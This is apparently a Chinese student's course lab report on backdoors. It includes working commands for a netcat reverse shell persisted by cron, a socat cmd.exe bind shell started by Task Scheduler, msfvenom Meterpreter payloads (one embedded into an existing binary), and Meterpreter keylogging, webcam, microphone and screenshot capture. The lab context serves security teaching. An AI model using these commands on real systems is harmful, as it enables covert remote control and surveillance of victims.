基础问题回答
1、例举你能想到的一个后门进入到你系统中的可能方式?
-
在非正规网站下载盗版软件,后门隐藏在盗版软件中。
-
受到诱骗点击某些可执行文件(表面上是压缩包,实际上是双击自动解压执行)
2、例举你知道的后门如何启动起来(win及linux)的方式?
- 替换或感染系统文件
- 后台插入免杀进程
3、Meterpreter有哪些给你印象深刻的功能?
- 可以干很多事情:获取密码,下载注册表,获取系统信息等
- 当目标机器重启之后仍然可以控制
- 可实现同时多个session操作
4、如何发现自己有系统有没有被安装后门?
- 定期使用强力的杀毒软件进行全盘查杀
- 查看自己主机上是否存在可疑进程
- 进行流量监控,查看是否有非法流量发出
实验内容
一、使用netcat获取主机操作Shell,cron启动
- 分别查看主机和kali的IP:
- 主机
- kali
- Win10主机使用ncat程序监听本机的
5205
端口
- kali虚拟机nc连接Win10主机反弹shell,成功getshell
- 通过
cron
命令启动
- 先用
crontab -e
指令编辑一条定时任务(crontab
指令增加一条定时任务,-e
表示编辑,3
表示选择编辑器)
- 在最后一行添加
5 * * * * nc 192.168.211.1 1221 -e /bin/sh
意思是,每个小时的第5分钟反向连接Windows主机的1221端口
- 最后等到每小时的05分,就可以getshell了
二、使用socat获取主机操作Shell, 任务计划启动
- 在“任务计划程序”中“创建任务”
- 通过运行窗口快速打开计算机管理
- 进入计算机管理界面后,点击创建任务
- 选择“触发器”——“新建”,,并将触发器配置如下:
- 再点击“操作”——“新建”,在“程序或脚本”找到socat的路径,在“参数”中填写
tcp-listen:1221 exec:cmd.exe,pty,stderr
,这个命令会把cmd.exe绑定到端口1221,同时把cmd的stderr重定向到stdout上。
- 最后按
Win+L
锁定计算机,再打开后可以发现之前创建的任务已经开始运行了
- 通过kali连接Win10主机
- 输入
socat - tcp:192.168.211.1:1221
指令连接Win10主机,getshell
三、使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
-
使用
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.211.137 LPORT=1221 -f exe > 20181221.exe
指令生成后门。
- 在Win10中使用
ncat -lv 1221 > 20181221.exe
指令将被控制主机进入接受文件模式
- 在kali中使用
nc 192.168.211.1 1221 < 20181221.exe
将后门传输过去
- 在kali上使用
msfconsole
指令进入msf控制台
- 输入指令进行连接
-
输入use exploit/multi/handler使用监听模块,设置payload
-
输入set payload windows/meterpreter/reverse_tcp 设置载荷,基于TCP的反向连接反弹windows shell
-
输入 set LHOST 192.168.211.137 设置本主机IP
-
输入 set LPORT 1221 设置本主机端口
-
输入exploit,等待启动后门程序
- Win10主机运行后门“20181221.exe”
- kali上getshell
四、使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- 使用
record_mic
指令可以截获一段音频
-
使用
webcam_snap
指令可以使用摄像头进行拍照,效果如下
- 使用
keyscan_start
指令开始记录下击键的过程,使用keyscan_dump
指令读取击键的记录
- 使用
screenshot
指令可以进行截屏
五、可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell
通过查找网上资料发现有这样一条指令:
msfvenom -p windows/meterpreter/reverse_tcp -x ./KiTTYPortable.exe -e x86/shikata_ga_nai -i 5 -b ‘x00’ LHOST=192.168.20.136 LPORT=443 -f exe > KiTTy_backdoor.exe
-
在参数说明中提到,
-p
使用的为有效载荷,由于我们是在x86下的linux系统,所以要改为linux/x86/meterpreter/reverse_tcp
。 -
-x
是可执行文件模板,shellcode会写入这个可执行文件中,我们这里用到的是pwn1,所以改为pwn1
-
LHOST、LPORT
是ip地址和端口,我们把它改为192.168.211.137
和1221
-
-f
是生成文件的类型,我们把它改为二进制可执行文件elf
-
所以最后的payload就是
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.211.137 LPORT=1221 -x pwn1 -f elf > 20181221pwn
生成完payload之后,我们运行MSF(具体指令参考上一过程),再运行我们生成的20181221pwn文件,就可以getshell了
实验中遇到的问题及解决方法
- 传输20181221后门文件到win10失败。
解决:关闭杀毒软件,将后门文件设为信任文件。
- 生成的20181221pwn文件无法运行,提示权限不够
解决:通过chmod +x 20181221pwn
命令修改文件权限,从而可运行
思考体会
通过本次实验我懂得了后门的原理,学会了如何制作后门和使用后门,并且学会了MSF的使用。这次实验使我深刻感受到杀毒软件的必要性和网络安全的重要性,要时刻防范后门的植入。